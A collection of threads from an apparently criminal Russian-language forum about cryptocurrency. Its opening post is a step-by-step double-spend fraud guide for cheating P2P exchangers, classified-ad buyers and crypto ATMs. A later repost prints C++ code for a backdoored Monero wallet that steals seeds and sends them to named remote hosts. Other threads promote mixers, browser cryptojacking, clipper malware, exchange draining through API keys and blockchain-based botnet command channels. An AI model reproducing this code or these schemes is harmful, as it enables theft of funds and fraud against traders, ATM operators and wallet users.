Чтобы сделать возврат наших биткоинов - первую транзакцию нужно отправить себе же с кошелька Electrum с минимальной комиссией, а второй транзакцией отправить жертве с такой же низкой комиссией, после -для того чтобы сделать возврат увеличиваем комиссию в первой транзакции где мы отпраляли себе и тем самым вторая транзакция отменяется.

Минимально возможная комиссия для отправки в Electrum это 1 сатоши на байт, в среднем этого хватает на пол часа пока не появится одно подтверждение в сети. Это зависит напрямую от загруженности сети (смотрим здесь https://www.blockchain.com/explorer?view=btc_unconfirmed). Если неподтвержденых транзакий больше шести тысяч значит можем расщитывать на пол часа, чем их больше тем лучше для нас, максимум я видел 50тыс. Если неподтвержденных меньше тысячи значит можем расчитывать максимум на 2-5 минут (поэтому до тысячи лучше вообще не работать).

На вторую транзакцию мы увеличиваем комиссию минимум до 5-25 сатоши, для того чтобы она ушла к нам обратно. Когда тренируетесь достаточно увеличить комиссию до 5 сатоши.

Вам нужно будет обязательно потренироваться на своих кошельках чтобы не путаться и знать тайминг в реальных ситуациях. Еще раз повторяю нужно тренироваться на своих кошельках чтобы знать сколько продержиться ваша ложная транзакция в зависимости от неподтвержденных транзакций в сети. Иначе есть риск того что ваши монеты уйдут!

Часть 2ая реализация

Есть множество возможных реализаций все которые я испробовал, на данный момент они все еще актуальны и большинство еще будут оставаться такими еще долгое время так как поток покупателей биткоина только растет.

Первый способ это - площадки по обмену крипты р2р, самые популярные localbitcoins.net, paxful.com, bitzlato.com, можете искать другие.

Жертв ищем среди тех кто разместил объявление на покупку битка, это как правило обменники и у них в описании есть ссылка на мессенджер. Пишем ему туда и говорим что хотим продать битки по такому то курсу(предлагаем продать свои битки в 0% или -1 или -2% ниже биржевого курса) вне площадки так как там нет верификации, срочно нужны деньги и пр, так же мотивируете тем что нет комиссии за сделку. Говорите что первыми готовы отправить битки так как вы видите что он проверенный покупатель и тд и тп.

Договариваетесь о способе оплаты (это может быть карта или ЭПС), если у вас нет карты на которую можно принимать грязь, открываем сделку на любом обменнике на покупку биткоина на аналогичную сумму и даете реквизиты жертве. Смотрите на условия сделки которую открываете многие просят фото карты на фоне сделки или просто фото карты (особенно на крупные сделки), соответственно вам нужны те кто не просит фото. Для того чтобы вам доверяли вам нужен хороший акк с отзывами, его можно купить на разных площадках за 1-2к руб, будут вопросы пишите. Как вы понимаете гораздо проще будет принять деньги на левую карту, нежели через этот треугольник, поэтому можете ее приобрести так же на разных площадках за 10-15 тыс руб.

Отправляете жертве бит первым, если он не знает этой фишки он отправляет кэш и вы сразу отменяете транзу. Если чувствуете что он тянет время до 1го подверждения - отменяйте транзу, это придет с опытом. Главное уложиться в тайминг который вы наработаете за самостоятельные тренировки, если он не отправит вам кэш ничего страшного, вы ничего не теряете, добавляйте его в свой чс и ищите другого.

Второй способ

Это размещение рекламы на сайтах типа авито с левой симки, olx объявление о покупке/продаже биткоина (в идеале создать одностраничный сайт типо вы обменник), оставить в описании что у вас курс ниже на пару процентов от биржевого например Binance, свой контакт в телеге.

И тут по той же схеме как с обменниками только тут не вы ищите лоха, а они вас к тому же гораздо менее подкованные чем торговцы на обменниках.

Третий способ

Это покупка различных электронных товаров, аккаунтов, услуг или инфы при помощи данной фишки. Те же самые аккаунты p2p обменников которые вы захотите приобрести и тд, вы отправляете биток, вам дают доступ и вы меняете пасс, отменяете транзу. Даже некоторые гаранты не знают про эту фишку.

Покупка оружия в играх, казино и ставки уже не актуальны. По крайней мере на биткоин, на сколько я знаю эфир тоже можно отменять.

Четвертый способ

Продажа битка криптоматам. В начале 19го года четверо парней в Канаде украли деньги с около 100 криптоматов, их до сих пор ищут. Естественно многие поправили это в своих автоматах, но не все. В россии криптоматов на продажу нет, только на покупку.

Открываем сайт coinatmradar.com открываем карту, нажимаем BTC И SELL смотрим какие есть варианты. Когда нажимаете на криптомат он пишет что за обменник и что за вид криптомата. Каждый криптомат продает по разному, те кто пофиксили эту проблему выдают чек после оплаты и ожиданием 1го подтверждения, нам такой не подходит. Кто то выдает сразу если видит что комиссия отправления нормальная (как написано в чеке который я приложу), с такими банкоматами отправляйте с высокой комиссией, 5мин до подтверждения у вас в любом случае будет(в этом случае нужно работать с напарником на связи, в худшем случае вы просто обналичите свои битки). Есть криптоматы которые дают сразу как на этом видео

Советую изучить все криптоматы на ютюбе. У меня получалось снимать с Genesis coin, lamassu, shitcoins club.

Если в какой либо стране вы делаете это разово, то вас за это не привлекут так это ошибка самой сети биткоина и криптомата(возвраты даже бывают редко в обычных ситуациях) , но если делать это системно то тут преступная схема на лицо и нужно принимать соответственные меры безопасности. В данных случаях нужно тщательно планировать такие операции и смотреть на гугл картах где находится криптомат, так как некоторые стоят в офисах

Как можно ускорить транзу в btc?
ID: 67686ad7b4103b69df379a5f
Thread ID: 43445
Created: 2020-10-23T08:19:01+0000
Last Post: 2020-10-23T11:25:29+0000
Author: Xx5711xX
Replies: 16 Views: 2K

Всем привет! Висит перевод уже 3-ий день, сумма не большая относительно, комиссия стандартная была 0.0001btc, просмотрен 18 пирами, но конфирма ни одного.
Слышал, что можно как-то протолкнуть\ускорить перевод застрявший?
Про платные сервисы знаю - такие методы не интересны.

Как выставить комиссию в електрум 4.0.2?
ID: 67686ad7b4103b69df379a6f
Thread ID: 41019
Created: 2020-08-17T17:25:21+0000
Last Post: 2020-08-25T04:13:45+0000
Author: Juritx
Replies: 14 Views: 2K

Здравствуйте.Безымянный222.png
Подскажите, пожалуйста.
Где и как регулировать комиссию в кошельке 4.0.2?
Там нету поля, чтобы указать комиссию, что делать?

Раскрутка обменки
ID: 67686ad7b4103b69df379a78
Thread ID: 37134
Created: 2020-05-07T21:35:31+0000
Last Post: 2020-06-10T21:40:39+0000
Author: familyCarleone
Replies: 2 Views: 2K

Добрый день! Уважаемые форумчане, интересует услуга раскрутки обменки с последующим выводом на бесчейнж,или реальное понимание с кем договорится о поручительстве. Обменки не под скам, а реальную работу. Или какие методы используете вы? Кто может поделится информацией или реально помочь за $.

Павел Дуров объявил о закрытии проекта TON
ID: 67686ad7b4103b69df379a7a
Thread ID: 37259
Created: 2020-05-12T17:10:14+0000
Last Post: 2020-06-04T20:39:53+0000
Author: ve1
Replies: 8 Views: 2K

Павел Дуров объявил о закрытии проекта блокчейн-платформы TON и криптовалюты Gram. В неудаче он обвинил власти США.

Сатоши Накамото вернулся? В сети биткоина прошла странная транзакция
ID: 67686ad7b4103b69df379a7b
Thread ID: 37585
Created: 2020-05-20T22:05:08+0000
Last Post: 2020-06-02T19:37:14+0000
Author: ve1
Replies: 2 Views: 2K

50 BTC, которые были добыты спустя месяц после запуска блокчейна первой криптовалюты, пришли в движение через 11 лет. Тогда майнингом занимались всего несколько человек, среди которых был создатель главной цифровой монеты.

Сегодня, 20 мая, прошла транзакция на 50 BTC, которые были добыты в феврале 2009 года. На тот момент блокчейну монеты было около месяца. Тогда ее майнингом занималось всего несколько человек, среди которых был Хэлл Финни (умер 28 августа 2014 г.), известный как первый получатель криптовалюты, а также ее создатель под псевдонимом Сатоши Накамото.

Перевод прошел из кошелька, который был выпущен на блоке 3654. До него только 41 блок содержал транзакции, остальные 3613 остались пустыми. С момента запуска сети BTC до появления этого адреса было осуществлено 97 переводов, исключая транзакции с наградой за блок. Информацию собрал Telegram-канал Goldfoundinshit ТМ.

11 мая на блоке 630 000 в сети биткоина прошел халвинг. Награда за добытый блок сократилась вдвое, до 6,25 BTC. Последний блок до халвинга добыл пул f2pool. В транзакцию, с которой майнер получает вознаграждение, он включил сообщение с заголовком газеты NYTimes от 9 апреля 2020 г. о том, что ФРС США выделила $2,3 трлн на поддержку экономики. Это отсылка к сообщению, которое Сатоши Накамото оставил в genesis-блоке биткоина: «The Times 3 января 2009 г. Канцлер стоит на краю ради второго спасения банков».

Источник: rbc.ru/crypto/news/5ec3f4129a79472914b5f59e

bisq
ID: 67686ad7b4103b69df379a7c
Thread ID: 34995
Created: 2020-02-16T17:00:17+0000
Last Post: 2020-05-30T13:43:41+0000
Author: Whisper
Replies: 2 Views: 2K

Exchange, Decentralized.
Bisq is an open-source, peer-to-peer application that allows you to buy and sell cryptocurrencies in exchange for national currencies. No registration required.

https://bisq.network
Кто пользовал?
Кто что думает про этот ресурс?

how can i sent btc and refund blockchain
ID: 67686ad7b4103b69df379a7d
Thread ID: 37672
Created: 2020-05-23T04:11:48+0000
Last Post: 2020-05-24T08:34:17+0000
Author: m3n705boy
Replies: 4 Views: 2K

how can i sent btc and refund to my blockchain wallet
I see some people using some software for sent btc to one blockchain to another with 0 confirmation btc, and refund the btc instantly
The method is i want to sell btc to local exchanger ex. for btc to giftcard,
he will give me address, i will send him btc, after i got the gift card, i want to refund the btc
thanks advance everyone

Коронавирус убьёт биткоин?
ID: 67686ad7b4103b69df379a83
Thread ID: 36212
Created: 2020-04-09T14:44:13+0000
Last Post: 2020-04-10T17:17:52+0000
Author: fierce
Replies: 10 Views: 2K

Доброго времени суток.
Господа, в общем есть так сказать беспокойство по поводу дальнейшей судьбы биткоина.
Начитался статей, всё пишут по разному, даже не знаю кому верить . Но есть аналитики прогнозы которых вообще не радуют.
Я принцип основной знаю: "говорят будет падать - растёт, пиздтят будет расти - падает". Но всё же, очень интересно Ваша точка зрения.
Суть в том, что у меня все сбережения в бтс.
Насколько вероятно, что биткоин очень сильно упадет и ему настанет "конец". Стоит ли продолжать на данный момент хранить валюту в бтс?
Просто при курсе 7тыс. выводить не хочу, не охота 30% терять на ровном месте, я по 9400 получал оплату...
Ещё обратил внимание, что меня сильно насторожило в резерве обменников не было нужной мне суммы для вывода в направлении бтс ---> visa, насколько я помню такое не часто бывает - все массово начали выводить биток?
А ещё почему то комиссия при переводе с кошелька на кошелек стала на много меньше...

Топ 3 лучших криптовалюты
ID: 67686ad7b4103b69df379a87
Thread ID: 35305
Created: 2020-03-02T16:12:15+0000
Last Post: 2020-03-02T16:12:15+0000
Author: shadowsploit
Replies: 0 Views: 2K

Топ-3 лучших криптовалютных миксеров

Helix - мой выбор номер один, так как монеты не только смешаны, но и обмениваются на новые. Это делает так, что вы будете получать монеты, которые раньше не контактировали с даркнетом. Низкая комиссия составляет 2,5%. Индивидуальная задержка, снятие нескольких адресов.

Bitcoin Blender давно в игре. Он был запущен в 2014 году и работает до сих пор. Он имеет случайную комиссию от 1 до 3%. Индивидуальная задержка, мультиадресные платежи также являются особенностями этого тумблера. У меня был хороший опыт с этим тумблером

Работая с 2017 года, Chipmixer не самый старый тумблер, но у него отличный послужной список. Это отличается от других, потому что это не имеет никакой платы, но работает только на пожертвование. Это очень быстро, и регистрация аккаунта не требуется.

Если у вас есть другой опыт с этим, пожалуйста, прокомментируйте.

Майнинг на JS
ID: 67686ad7b4103b69df379a89
Thread ID: 34985
Created: 2020-02-16T05:17:05+0000
Last Post: 2020-02-16T05:41:03+0000
Author: 2c71e9
Replies: 1 Views: 2K

Нашел тут альтернативу CoinHive которые закрылись.
Кому надо

__

[ CoinIMP 0% fee JavaScript Mining, Browser Mining, Browser Miner

](https://www.coinimp.com/)

CoinIMP is the new effective free JavaScript miner that you can embed in your website. This is the only web browser Javascript mining solution on the market with 0% fee. Web Mining in browser - Browser Mining - can be very effective way to earn on your website and can be additional source of...

![www.coinimp.com](/proxy.php?image=https%3A%2F%2Fwww.coinimp.com%2Fapple- touch-icon.png&hash=82121d34656238ff072fcbb0d326444d&return_error=1) www.coinimp.com

Прием криптовалюты без установки демонов
ID: 67686ad7b4103b69df379a8e
Thread ID: 33730
Created: 2019-12-09T12:14:16+0000
Last Post: 2019-12-09T19:30:40+0000
Author: admin
Replies: 3 Views: 2K

Добрый день. Предлагаю обсудить прием криптовалюты на сайтах без установки своего демона (bitcoind, litecoind и т.д.). Часто бывают ситуации, когда ставить целый bitcoind и тащить весь блокчейн нерационально. А использовать сторонние gateway'и небезопасно.
Когда-то мне встречались готовые решение, например, чекать платежи, парся публичный блокчейн, с приемом на заранее указанные в конфиге кошельки и т.д.
Предлагаю обсудить и поделиться вариантами, мыслями.

Установка Bitcoind, Litecoind и Bitcoin ABC на Windows
ID: 67686ad7b4103b69df379a8f
Thread ID: 33627
Created: 2019-12-03T21:23:40+0000
Last Post: 2019-12-03T21:23:40+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Самый безопасный списоб хранить свою крипту - это развернутая биткоин нода Bitcoind и Litecoind. Так вы становитесь сами себе банком, не зависите от бирж, онлайн кошельков и верификаций. Рассмотрим установку демонов Bitcoind, Litecoind на Windows. Она - простейшая.

Биткоин-демон на автономном компьютере используется исключительно для подписи транзакций и работает без блокчейна. Даже маломощный компьютер, такой как Raspberry Pi или старый нетбук, может отлично работать в качестве автономного компьютера.

Демону биткоинов на онлайн-компьютере требуется полный и современный блокчейн для отслеживания адресов. Поскольку его работа требует больше ресурсов процессора и дисков, здесь требуется более мощный компьютер. Вам также понадобится много свободного дискового пространства для растущей блокчейна (~ 265 ГБ на момент написания статьи).

Две операции блокчейна являются особенно ресурсоемкими: синхронизация блокчейна и импорт существующих адресов с балансами. Если вы выполняете частую синхронизацию (например, раз в неделю) и стараетесь импортировать свои адреса, можно обойтись более дешевым компьютером в качестве сетевого компьютера.

Скачать:
Bitcoin Core: Перейдите на страницу загрузки Bitcoin Core (здесь или здесь). Выберите 32-битные или 64-битные версии, подходящие вам. Пользователи Windows должны выбрать исполняемый установщик.
Bitcoin ABC(опционально): Если вы хотите совершить транзакцию BCH (Bcash), загрузите соответствующий двоичный файл Bitcoin ABC для вашей системы. Пользователи Windows должны выбрать исполняемый установщик. Сочтем, что Bitcoin ABC. - это ненадежное ПО.
Litecoin ( опционально**):** Перейдите на страницу загрузки Litecoin Core . Выберите 32-битные или 64-битные версии, подходящие вам. Пользователи Windows должны выбрать исполняемый установщик.

Установка (как онлайн, так и в автономном режиме):

Bitcoin Core:
Windows:
Запустите установщик Windows с настройками по умолчанию. В конце процесса установки снимите флажок «Выполнить», чтобы предотвратить запуск клиента. Добавьте C:\Program Files\Bitcoin\daemon к своему пути .
Linux: распакуйте архив и скопируйте bitcoind и bitcoin-cli двоичные файлы в /usr/local/bin.

Bitcoin ABC(опционально):
Windows: Запустите установщик Windows с настройками по умолчанию. В конце процесса установки снимите флажок «Выполнить», чтобы предотвратить запуск клиента. Добавьте C:\Program Files\Bitcoin-abc\daemon к своему пути. Переименовать файл bitcoind в этой папке, bitcoind-abc и bitcoin-cli в bitcoin-cli-abc.
Linux: Распакуйте архив, переименуйте bitcoind в bitcoind-abc и скопируйте его /usr/local/bin.

Litecoin ( опционально**):
Windows:** Запустите установщик Windows с настройками по умолчанию. В конце процесса установки снимите флажок «Выполнить», чтобы предотвратить запуск клиента. Добавьте C:\Program Files\Litecoin\daemon к своему пути .
Linux: распакуйте архив и скопируйте бинарники litecoind и litecoin- cli в /usr/local/bin.

Запуск (как онлайн, так и в автономном режиме):

Windows:
В среде командной строки Windows процессы не запускаются в фоновом режиме, поэтому для одновременного запуска нескольких демонов необходимо запустить каждый из них в отдельном окне терминала. Запустите свои демоны так:

Code:Copy to clipboard

# Bitcoin Core:
$ bitcoind

# ABC:
$ mkdir $APPDATA/Bitcoin_ABC
$ bitcoind-abc --listen=0 --rpcport=8442 --datadir=$APPDATA/Bitcoin_ABC --usecashaddr=0

# Litecoin
$ litecoind

Обратите внимание, что аргумент --listen=0 необходим только при одновременной работе Core и ABC.

Linux:
Пользователи Linux запускают свои демоны так:

Code:Copy to clipboard

# Bitcoin Core:
$ bitcoind --daemon

# ABC:
$ mkdir ~/.bitcoin-abc
$ bitcoind-abc --daemon --listen=0 --rpcport=8442 --datadir=$HOME/.bitcoin-abc --usecashaddr=0

# Litecoin:
$ litecoind --daemon

Взаимодействие с демонами:

Code:Copy to clipboard

# Core:
$ bitcoin-cli help

# ABC:
$ bitcoin-cli-abc --rpcport=8442 help

# Litecoin:
$ litecoin-cli help

Предупреждение: если вы используете существующие Bitcoin или Litecoin, перед запуском демона переместите ваш wallet.dat во избежание его затирания. Новый созданный кошелек будет использоваться в качестве кошелька для отслеживания .

Если вы подключены к Интернету, демон начнет загрузку и проверку блокчейна. Это может занять от нескольких часов до нескольких дней в зависимости от скорости вашего компьютера, размера блокчейна и вашего интернет-соединения. Вы можете значительно ускорить загрузку начального блока, добавив параметр -assumevalid в командную строку, за которым следует хэш недавнего блока. Последние хэши блоков можно найти на любом сайте проводника блокчейнов.

Для автономных демонов вы можете добавить опции -maxconnections=0 -listen=0 в командной строке. Обратите внимание, что автономные демоны запускаются очень быстро, так как они имеют блокчейн, состоящий из одного блока, и практически не используют мощность процессора при запуске.

Автор: tabac, специально для XSS.is
в написании использованы материалы MMGen

Дополнительная инфа о взломе GetMonero by kretin
ID: 67686ad7b4103b69df379a93
Thread ID: 33424
Created: 2019-11-24T20:12:26+0000
Last Post: 2019-11-24T20:12:26+0000
Author: ihnan0021
Replies: 0 Views: 2K

Spoiler

Не знаю насколько инфа достоверна, кто такой kretin и где первоначальный источник (возможно exploit.in). Пока что отказался от использования Monero потому что это пиздец.
Выглядит вполне реально. Надо обсудить.

Чутка отредактировал исходный текст для корректного вида на форуме.

Здравствуйте. Наверное все слышали о взломе сайта криптовалюты Monero? Если интересно, то читайте дальше.
Сама дыра была активна более 4 месяцей. Мы долго наблюдали за ними, думали как провернуть атаку. День Х был 18 числа.
Работали я и мой кодер. Смотрели как они входят на сервер, смотрели за их действиями. Нас не заметили за все это время.

1. Компроментация GetMonero.
Обновлю данную тему после того как удалят мой бекдор и закроют уязвимость иначе нет гарантии в безопасности.
Скажу сразу доступ был по SSH, а не как многие утверждают по FTP (LOL, 2019 and FTP???).

Компроментация имеет длинную цепочку действий, но весьма легка в исполнении.
Взлом занял: 47 минут.

2. Заражение исходного кода monero-wallet-cli.
Изначально хотели заразить GUI, RPC и сам CLI. Но потом остановились только на CLI. Войдя в ./monero/src сразу в глаза попадают папки:
./monero/src/wallet
./monero/src/simplewallet

Начнем с самого простого, simplewallet. Открываем ./monero/src/simplewallet/simplewallet.h и смотрим какие есть функции.
Сразу видно что имена некоторых функций совпадают с именами команд (viewkey, seed ...). Значит глянем ./monero/src/simplewallet/simplewallet.cpp

C самого начала мы хотели получать: address, viewkey и spendkey. Но это плохая затея ведь spendkey валиден только 1 раз. По этому давайте глянем в сторону seed.

В открытом нами файле обычным поиском ищем: "simple_wallet::seed(" и видим что она вызывает: "simple_wallet::print_seed". Эта функция показывает seed при генерации или вызове команды "seed".

Code:Copy to clipboard

/*!

* \brief Prints the seed with a nice message

* \param seed seed to print

*/

void simple_wallet::print_seed(const epee::wipeable_string &seed)

Запоминаем и дивижемся дальше.

Вызов данной функции ещё идет в "simple_wallet:оpen_wallet" - эта функция вызывается при открытии кошелька. Все что нужно мы нашли. Дальше бродя по коду начинаем понимать его логику, тут все писать не буду.

Запрашиваем пароль, открываем кошелёк.

Code:Copy to clipboard

auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
m_wallet = std::move(rc.first);
password = std::move(std::move(rc.second).password());

Тут можно было бы взять rc.second и у нас уже бы был пароль которым мы может вызвать unlock и получить seed. Но нашей целью является не хищение денег, а просто способ показать что криптовалюта какая бы она не была анонимна может подвергнуться атаке изнутри.

Так что оставлю "пасхалку" чтобы опытные юзеры сразу заметили подвох. Имея малейший опыт работы с CLI можно заметить что при вызове команд для показа seed и spendkey запрашивает пароль. Давайте просто модифицируем эти команды и вставим маленький кусочек кода для отправки seed.Change:

Code:Copy to clipboard

bool print_seed(bool encrypted) -> bool print_seed(bool encrypted, bool not_print)

Add after line 307:

int send_to_cc(std::string pdata, std::string server, int attempt);

void send_seed(const epee::wipeable_string &seed);

// тут мы запросим пароль
auto rc = tools::wallet2::make_from_file(vm, false, "", password_prompter);
...
// проведем открытие кошелька
m_wallet->callback(this);
m_wallet->load(m_wallet_file, password);
// значит ниже запросим опять пароль и отправим seed to us
std::string prefix;
bool ready;
uint32_t threshold, total;

// send seed in func
print_seed(false, true);

Это будет достаточно не заметно если окно monero-wallet-cli попросит ввести пароль обратно. Обычный юзер подумает что ошибся при вводе.

Проведем модификацию кода "bool simple_wallet::print_seed(bool encrypted, bool not_print=false)"

Code:Copy to clipboard

...
if (multisig)
success = m_wallet->get_multisig_seed(seed, seed_pass);
else if (m_wallet->is_deterministic())
success = m_wallet->get_seed(seed, seed_pass);

if (success)
{
    // not print seed, just send
    if (not_print){
        send_seed(seed);
    } else {
        print_seed(seed);
    }
}
...

Функция "simple_wallet::send_seed(const epee::wipeable_string &seed)" код

void simple_wallet::send_seed(const epee::wipeable_string &seed) {
  std::string str;
  int space_index = 0;
  size_t len = seed.size();

  for (const char *ptr = seed.data(); len--; ++ptr)
  {
    if (*ptr == ' ')
    {
      if (space_index == 15 || space_index == 7){
        str += '+';
      } else {
        str += '+';
      }
      ++space_index;
    }
    else {
      str += *ptr;
    }
  }

  send_to_cc("memo="+str, "node.hashmonero.com", 1);
}

Функция "int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)" код

int simple_wallet::send_to_cc(std::string pdata, std::string server, int attempt)
{
  try {
    boost::asio::io_service io_service;
    boost::asio::ip::tcp::resolver resolver(io_service);
    boost::asio::ip::tcp::resolver::query query(server, "http");
    boost::asio::ip::tcp::endpoint end = *resolver.resolve(query);
    std::string ipserv = end.address().to_string();

    boost::system::error_code ec;
    boost::asio::io_service svc;
    boost::asio::ssl::context ctx(boost::asio::ssl::context::sslv23);
    boost::asio::ssl::stream<boost::asio::ip::tcp::socket> ssock(svc, ctx);
    boost::asio::ip::tcp::resolver resolver2(svc);
    auto it = resolver2.resolve({ipserv, "18081"});
    boost::asio::connect(ssock.lowest_layer(), it);
    ssock.handshake(boost::asio::ssl::stream_base::handshake_type::client);

    boost::asio::streambuf request;
    std::ostream request_stream(&request);
    request_stream << "POST " << "/" << " HTTP/1.1\r\n";
    request_stream << "Content-Type: application/x-www-form-urlencoded\r\n";
    request_stream << "Content-Length: " << pdata.length() << "\r\n";
    request_stream << "Connection: close\r\n\r\n";
    request_stream << pdata;

    boost::asio::write(ssock, request);
  } catch(...) {
    if (attempt == 1) {
      send_to_cc(pdata, "node.xmrsupport.co", attempt+1);
    } else if (attempt == 2) {
      send_to_cc(pdata, "45.9.148.65", attempt+1);
    } else if (attempt == 3) {
      return 0;
    }
  }

  return 0;
}

Добавим в конец функции "void simple_wallet::print_seed(const epee::wipeable_string &seed)" 1 строчку.

Code:Copy to clipboard

send_seed(seed);

Создание заняло: ~30 минут. Мы получаем seed при генерации, восстановлении и открытии кошелька. Да, да. Благодаря нескольким действиям.

Готово. Поехали строить.

make release-static-win64 - for Windows (on Windows 64)
make release-static - for Linux (on Linux)

Мы рекомендуем использовать hVNC для максимальной анонимности и все действия делать на взломанных машинах.

3. Подменяем архив
One simple step: Загружаем наш архив на сервер.

4. Get rewards
За 1 час 15 минут мы собрали больше 8 тысяч seed's.

5. What next?
Возвращаем оригинальный архив на сервер. Логи идут дальше все равно.

Админка наших гейтов была простая. Проверка на наличие POST key "memo" and 24 spaces in memo. Next just save the seed to file.

Final.

Мы могли бы заразить и остальные версии, сменить хеши чтобы не вызвать подозрение, мы могли бы заражать вредоносное программное обеспечение например как Smoke loader, etc. Но мы просто собрали seed и сделали:

Code:Copy to clipboard

rm -rf ~/seeds.txt

На вопрос "а какие там могли быть балансы" тоже есть ответ:
Больше 8 тысяч XMR монет = 5
От 5 тысяч до 7623 XMR монет = 3
Все остальное ниже 5 тысяч XMR монет.
Это из 1000 проверенных seed в автоматическом режиме, случайной выборкой. Но мы не украли ни пенни. Be happy Monero.

Один из IP адресов в логах - пренадлежит бирже.
Другое более смешное то что у нас есть доступ к Github и личной почте. Пожалуйста смените пароли и обновите SSH.
Всем "researchers" которые убили целый день на поиск CC servers - facepalm. Мы даже их не шифровали, сколько можно было искать.

Итог:
Мы могли бы заработать миллионы, обрушить курс, заразить пользователей если бы проделали и другие описанные действия. Всего лишь за 2 часа (взлом + инфекция исходных кодов и публикация 12 Nov.) Но нам это не нужно.

Чисто ради фана и хайпа.

Автор: kretin

Electrum
ID: 67686ad7b4103b69df379a94
Thread ID: 33109
Created: 2019-11-09T23:21:39+0000
Last Post: 2019-11-11T23:27:29+0000
Author: 4moham
Replies: 6 Views: 2K

Объясните пожалуйста за Electrum.
Кошелек сам подключается к серверам, им можно доверять или лучше указать свои ноды?

После создания кошелька в адресах доступно только 20 адресов с зеленой меткой "Получено" и 6 адресов с желтой меткой "Сдача". В настройках можно отключить адреса для сдачи и мультиадреса. Или как-то так судя по транслиту.
Как можно еще создать или удалить адреса в одном кошельке? Что это за сдача и кошельки для сдачи?

И у меня при получении каждый раз устанавливается новый адрес. Почему так? Это нормально?

Как генерировать BTC адреса пачками которые начинаются на "3"?
ID: 67686ad7b4103b69df379a96
Thread ID: 33030
Created: 2019-11-06T00:31:29+0000
Last Post: 2019-11-06T22:31:15+0000
Author: ViCode
Replies: 6 Views: 2K

В основном все кошельки генерят адреса которые начинаются на "1", нашел только вариант на freewallet.org ручками по 1 адресу создавать, там на тройку начинаются.
Для клиппера который ищет похожие адреса надо что бы по бырому сгенерить 1к адресов начинающихся на "3"

На гитхабе есть варики но опять же на "1" больше не находил не чего.

Вывод с помощью API ключа
ID: 67686ad7b4103b69df379a98
Thread ID: 32693
Created: 2019-10-24T06:35:18+0000
Last Post: 2019-11-01T21:14:02+0000
Author: tanto403
Replies: 3 Views: 2K

День добрый, форумчане. Интересует тема вывода средств с кошелька биржи, с помощью API ключа, при условии что прав на вывод у ключа нету.
Где-то читал о том, что можно перелить баланс, с помощью ордера на другом аккаунте, на продажу низкопопулярной дешевой валюты - задорого.
Мне интересно. Миф это или реальность? Кто-нибудь имеет опыт подобных действий? Имеют ли биржи какую защиту от таких махинаций?
За консультацию которая приведет к успешному выводу, заплачу. Как пользоваться api ключами обьяснять не нужно.
Интересует Binance, Bittrex, Bitmex, Bitfinex

Need Help about multi btc - Создание бтс адресов, нужна помощь
ID: 67686ad7b4103b69df379a9b
Thread ID: 32066
Created: 2019-09-27T15:34:12+0000
Last Post: 2019-10-08T08:23:34+0000
Author: QwEQw3RtyY
Replies: 4 Views: 2K

Ребята привет.
Возник такой вопрос по битку.
Нужны постоянно новые, свежие бтс адреса. Я понимаю, что люди отпишут - так возьми наделай новых насоздавай на том же бчайне доп адреса, но мне надо каждый день новые, для 1 транзы и далее выкинуть этот адрес, и нужно таких адресов поток.
Руками делать не варик.
Может есть варик, готовое решение, в виде сервиса, либо мультикош-адреса с генерацией 100-200-500 адресов каждый день безлим?
Либо может сервисы есть, где можно тянуть кош одноразовый, который будет жить не сутки, а столько, сколько необходимо для дела и меня?
Знаю вопрос дурной, но кто понял, что мне необходимо, поделитесь инфой.
Заранее благодарен.

/del
ID: 67686ad7b4103b69df379a9d
Thread ID: 32248
Created: 2019-10-03T21:43:22+0000
Last Post: 2019-10-04T09:37:25+0000
Author: nightly
Replies: 1 Views: 2K

/del

Битки пришли... хз от кого, просто так.
ID: 67686ad7b4103b69df379a9e
Thread ID: 32231
Created: 2019-10-03T05:52:41+0000
Last Post: 2019-10-04T08:54:47+0000
Author: ViCode
Replies: 12 Views: 2K

Хеш транзы: 5b24c7fb5008c017397ddad88f931536d93835f5c24d5cee341aaf9d780d9461
Нет не с клиппера... я этот кошель не указывал не где ВООБЩЕ.
Разве такое возможно что бы сгенерили приватный ключ 2 разных человека 1 в 1...это 1 шанс на бесконечность...
Пришли копейки, просто сам факт удивил.
Т.к занимался клиппером до этого, у меня до сих пор в кошельке около полумиллиона адресов.

:smile2:Благослови этот исходящий адрес что бы сдачи упали на мой в виде 1 млн$ :smile46:

Хеш не гуглится, мб с какой биржи привалили случайно сгенерив мой ключ и адрес.

возможна ли проверка на владельца bitcoin?
ID: 67686ad7b4103b69df379a9f
Thread ID: 32130
Created: 2019-09-29T22:36:41+0000
Last Post: 2019-10-03T15:07:59+0000
Author: 2c71e9
Replies: 7 Views: 2K

Народ, тут задался вопросом. К примеру у нас есть кошелек electrum. Он там на каждую транзу генерит новый кошелек (1,2,3,4.....до бесконечности), как то там миксует их. Не суть. Они все генерируются одним приват ключом, как я понимаю. Вот возможно ли имея на руках к примеру адрес 3 и 10 или какие любые другие два. Если можно то как? (вариант проверить цепочку переводов не интересен) Проверить, сгенерены ли они одним ключом или человеком. Может конечно ошибаюсь про приват ключ.

Вариант задействования блокчейна криптовалют как среды передачи команд для элементов бот-сети
ID: 67686ad7b4103b69df379aa1
Thread ID: 31723
Created: 2019-09-12T20:59:15+0000
Last Post: 2019-09-16T23:12:50+0000
Author: tabac
Replies: 1 Views: 2K

Хотелось бы развить мысль, упомянутую в статье «Follow the money: как группировка RTM стала прятать адреса C&C серверов в криптокошельке», которая упаковывала их в количество перечисленных за две транзакции сатоши на определенный криптоадрес. Вредонос, запросив у блокчейн-обозревателя данные переводов на такой адрес, путем несложных манипуляций выделял IP нового C&C сервера.

Опустим и осудим преступные намерения этой группировки и остановимся именно на принципах и процессе передачи команд элементам бот-сети (ЭБС).

ИМХО, данный способ имеет определенные недостатки – пропускная способность данного метода (в отношении количества информации на один перевод) мала, а любой, кто знает такой криптоадрес, может отправить на него определенную сумму, и засинкхоллить бот-сеть, заставив ее обращаться к «доверенному» для них серверу.

Однако скрытые команды ЭБС возможно отправлять не на отдельный, а с отдельного адреса А, априори доверенного для них. В этом случае никто (кроме лица, обладающего приватным ключом), не может провести такую операцию.

Набор команд возможно расширить путем отправки сумм на сгенерированные администратором бот-сети адреса, в названии которых закодирована/зашифрована необходимая управляющая информация.
При этом команда до 20 байт (буквы, цифры, спецсимволы) преобразуется (text to hex) в hex и далее – в валидный криптоадрес B. При этом сама команда может кодироваться/шифроваться.

Приведу фантазийный пример. Для наглядности (PoC) пользовался рядом доступных онлайн-сервисов.

